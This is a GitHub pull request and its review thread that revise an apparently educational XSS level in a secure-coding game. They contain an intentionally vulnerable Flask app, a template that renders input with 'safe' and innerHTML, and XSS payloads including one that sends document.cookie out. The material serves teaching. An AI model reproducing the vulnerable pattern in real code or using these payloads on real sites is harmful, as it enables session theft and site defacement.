Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix issue #62 #63

Closed
wants to merge 4 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
44 changes: 12 additions & 32 deletions Season-2/Level-3/code.py
Original file line number Diff line number Diff line change
Expand Up @@ -40,42 +40,22 @@
def index():
if request.method == 'POST':
planet = request.form.get('planet')
sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet)

if 'script' in sanitized_planet.lower() :
return '<h2>Blocked</h2></p>'

elif sanitized_planet:
details = get_planet_info(sanitized_planet)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The goal I mentioned in the comment below, it's also achieved (hopefully!) with the chosen variable names, like sanitized_planet for example, making someone think that it's sanitized, hence safe!

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See my comment above.


if planet:
return f'<h2>Planet Details:</h2><p>{get_planet_info(planet)}</p>'
else:
return '<h2>Please enter a planet name.</h2>'

return render_template('index.html')

@app.route('/getPlanetInfo', methods=['GET'])
def get_planet_info_endpoint():
planet = request.args.get('planet')
sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@evarga The idea behind this level and especially this specific line of code was to show that many devs might reinvent the wheel and try to blocklist some symbols to avoid injection attacks. Therefore, I feel that the despite the code could be simplified more of course, the goal was to trick students to think that is not vulnerable due to the checks implemented. What do you think?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The sanitized_planet variable contains a decently escaped input, which means none of the provided examples of tainted payloads would work. For example, the original regular expression removes all occurrences of < and > from the input. The solution text was written under an assumption that this will not happen at all, i.e., that << and >> would remain intact.

This is why I have recommended to skip sanitization in the current form; otherwise, students would need to apply a dozen of advanced tricks to figure out how to inject improper payload despite the above sanitization.

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We need students to face some difficulty in order to learn more in this level and I see your point about the solution assumption, so if possible, feel free to propose something on the solution file and keep the rest of structure (and regex in code file) as it is, or with minimal changes to keep the essence of the game.

The learning objective was to show students an example of reinventing the wheel through block-listing symbols instead of using a library etc. It's a good idea to show them that when a developer creates a manual control, it's under the assumption that inputs will be X, Y, Z, while in reality, skilled attackers can do W, Q, etc

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I agree that an additional level of complexity will definitely improve the learning experience. I will insert back the checks into the index function to simulate a false sense of security without overcomplicating the mechanism of injecting tainted payload into a system. Should be ready this week.

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you!!!


if 'script' in sanitized_planet.lower() :
return '<h2>Blocked</h2></p>'

elif sanitized_planet:
details = get_planet_info(sanitized_planet)

if planet:
return f'<h2>Planet Details:</h2><p>{get_planet_info(planet)}</p>'
sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')

if sanitized_planet:
if 'script' in sanitized_planet.lower() :
return '<h2>Blocked</h2></p>'

return render_template('details.html',
planet=sanitized_planet,
info=get_planet_info(sanitized_planet))
else:
return '<h2>Please enter a planet name.</h2>'

return render_template('index.html')

def get_planet_info(planet):
if planet in planet_data:
return planet_data[planet]
else:
return f'No information found for {planet}.'
return planet_data.get(planet, 'Unknown planet.')

if __name__ == '__main__':
app.run()
34 changes: 0 additions & 34 deletions Season-2/Level-3/hack.py

This file was deleted.

7 changes: 7 additions & 0 deletions Season-2/Level-3/hack.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
Here are two steps to simulate an attack:

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Whenever we can have an automated test instead of a manual one, let's do it, and here was an example of having automated ones

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nope, the original hack.py doesn't demonstrate anything in automated fashion, as it is hitting the programmatic API and printing the result onto the screen. Here is the dump from the session:

@evarga ➜ /workspaces/secure-code-game (main) $ python3 Season-2/Level-3/hack.py
<h2>Planet Details:</h2><p>No information found for <<img src='x' onerror='alert(1)'>>.</p>

Honestly, I don't see anything failing here nor an XSS attack in action. For the latter to happen, rendering must be performed over the response to actually execute any embedded active content.

Again, the fact that those << and >> symbols are shown is just due to the blunder in the code.py, as I've explained in #62.

P.S. It is also a very bad practice to return form an API endpoint a stylized HTML content. This is another reason why I've decided to completely omit it from the revised version, as it would even more confuse students where to look for issues.

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Makes sense now, thanks for pointing out. See my comment above and if you can re-write your proposal following what I suggested then it's a win-win. In addition, feel free to either try to automate the hack file or keep it manual, making sure of course that reflects the changes on the code file.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sure, I will alter the code accordingly for attaining a desirable win-win state.

1. Start the applicsation as instructed in 'code.py'
2. Enter in the input field for planet the following content: &ltimg src='x' onerror='alert(1)'&gt

Your application must present a message that such a planet is unknown to the system without
showing an alert box.
2 changes: 1 addition & 1 deletion Season-2/Level-3/hint.txt
Original file line number Diff line number Diff line change
@@ -1 +1 @@
How does the site handle user input before displaying it?
How does the site handle user input before and after displaying it?
45 changes: 23 additions & 22 deletions Season-2/Level-3/solution.txt
Original file line number Diff line number Diff line change
Expand Up @@ -6,38 +6,39 @@ This code is vulnerable to Cross-Site Scripting (XSS).
Learn more about Cross-Site Scripting (XSS): https://portswigger.net/web-security/cross-site-scripting
Example from a security advisory: https://securitylab.github.com/advisories/GHSL-2023-084_Pay/

Back to our level in the Secure Code Game, the vulnerable functions are:
- get_planet_info()
- get_planet_info_endpoint()
Why the application is vulnerable to XSS?
It seems that the user input is properly sanitized, as shown below:

Why are they vulnerable?
planet = request.form.get('planet')
sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')

Examine closely the following:
sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet)

In this regex, the characters
<, >, (, ), {, }, [, and ]
are explicitly removed, but whitespace characters are not removed.

Then, an anti-XSS defense is implemented, preventing inputs with the 'script' tag.
However, other tags, such as the 'img' tag, can still used to exploit a XSS bug as follows:
After all, if all the HTML start and end tags are pruned away what can go wrong?
Furthermore, an anti-XSS defense is implemented, preventing inputs with the 'script' tag.
However, other tags, such as the 'img' tag, can still be used to exploit a XSS bug as follows:

Exploit:
<<img src="x" onerror="alert(1)">>
&ltimg src="x" onerror="alert(1)"&gt

Explanation:
In this payload, the double angle brackets, '<<' and '>>', will not be matched by the regex,
so the payload remains unaffected, and the XSS attack will execute successfully.
With this payload, the XSS attack will execute successfully, since it will force the browser to open an
alert dialog box. There are couple of reasons why this is possible, as enrolled below:
1) The regular expression is missing the () characters and these are crucial for function invocation in JavaScript.
2) The sanitization doesn't touch the &lt and &gt special entities.
3) The 'display.html' is showing the planet name with the 'safe' option. This is always a risky decision.
4) The 'display.html' is reusing an essentially unprotected planet name and rendering it at another location as HTML.

How can we fix this?
We can use the function 'escape', which is a built-in function inside the Markup module of Flask.
Never reuse a content rendered in 'safe' regime as HTML. It is essentially unescaped.

Don't reinvent the wheel by coming up with your own escaping facility.
You can utilize the function 'escape', which is a built-in function inside the markup module used by Flask.
This function helps to escape special characters in the input, preventing them from being executed
as HTML or JavaScript.

Example:
from flask import Flask, request, render_template, jsonify, escape
from markupsafe import escape

return f'<h2>Planet Details:</h2><p>{escape(details)}</p>'
sanitized_planet = escape(planet)

What else can XSS do?
- Steal cookies and session information
Expand All @@ -55,11 +56,11 @@ How to prevent XSS?
Here are some exploit examples:

- Redirect to phishing page using XSS:
<<img src="x" onerror="window.location.href = 'https://google.com';">>
&ltimg src="x" onerror="window.location.href = 'https://google.com';"&gt

- Get cookies:
<<img src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;">>
&ltimg src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;"&gt

- Modify website content:
You can inject any phishing page, malicious page, or any other content to the website using XSS, by:
<<img src="x" onerror="document.body.innerHTML = '<h1>Website is hacked</h1>';">>
&ltimg src="x" onerror="document.body.innerHTML = 'Website is hacked';"&gt
31 changes: 31 additions & 0 deletions Season-2/Level-3/templates/details.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
<!DOCTYPE html>
<html>

<head>
<title>Planet Details</title>
<style>
body {
font-family: Arial, Helvetica, sans-serif;
background-color: #121212;
color: #ffffff;
}

h2 {
text-align: center;
margin-top: 30px;
}
</style>
</head>

<body>
<h2>Planet Details</h2>
<p>Planet name: <span id="name">{{ planet | safe }}</span></p>
<p>Planet info: {{ info | safe }}</p>
<br/>
<p>Search in Google for more information about the planet: <span id="planet"/></p>
<script>
document.getElementById("planet").innerHTML = document.getElementById("name").textContent;
</script>
</body>

</html>
29 changes: 22 additions & 7 deletions Season-2/Level-3/tests.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,8 +4,8 @@
# /// ///
# /// This file contains passing tests. ///
# /// ///
# /// Run them by opening a terminal and running the following: ///
# /// $ python3 Season-2/Level-3/tests.py ///
# /// Run them by opening a terminal and running the following: ///
# /// $ python3 Season-2/Level-3/tests.py ///
# /// ///
# /// Note: first you have to run code.py following the instructions ///
# /// on top of the file so that the environment variables align but ///
Expand All @@ -16,7 +16,6 @@

from code import app, get_planet_info
import unittest
from flask import Flask
from flask_testing import TestCase

class MyTestCase(TestCase):
Expand All @@ -32,7 +31,7 @@ def test_index_route(self):

def test_get_planet_info_invalid_planet(self):
planet = 'Pluto'
expected_info = 'No information found for Pluto.'
expected_info = 'Unknown planet.'
result = get_planet_info(planet)
self.assertEqual(result, expected_info)

Expand All @@ -42,11 +41,27 @@ def test_get_planet_info_valid_planet(self):
result = get_planet_info(planet)
self.assertEqual(result, expected_info)

def test_get_planet_info_endpoint_valid_planet(self):
def test_index_valid_planet(self):
planet = 'Venus'
response = self.client.get(f'/getPlanetInfo?planet={planet}')
response = self.client.post('/', data={'planet': planet})
self.assert200(response)
self.assertEqual(response.data.decode(), f'<h2>Planet Details:</h2><p>{get_planet_info(planet)}</p>')
self.assertEqual(response.data.decode()[:15], '<!DOCTYPE html>')

def test_index_missing_planet(self):
response = self.client.post('/')
self.assert200(response)
self.assertEqual(response.data.decode(), '<h2>Please enter a planet name.</h2>')

def test_index_empty_planet(self):
response = self.client.post('/', data={'planet': ''})
self.assert200(response)
self.assertEqual(response.data.decode(), '<h2>Please enter a planet name.</h2>')

def test_index_active_content_planet(self):
planet = "<script ...>"
response = self.client.post('/', data={'planet': planet})
self.assert200(response)
self.assertEqual(response.data.decode(), '<h2>Blocked</h2></p>')

if __name__ == '__main__':
unittest.main()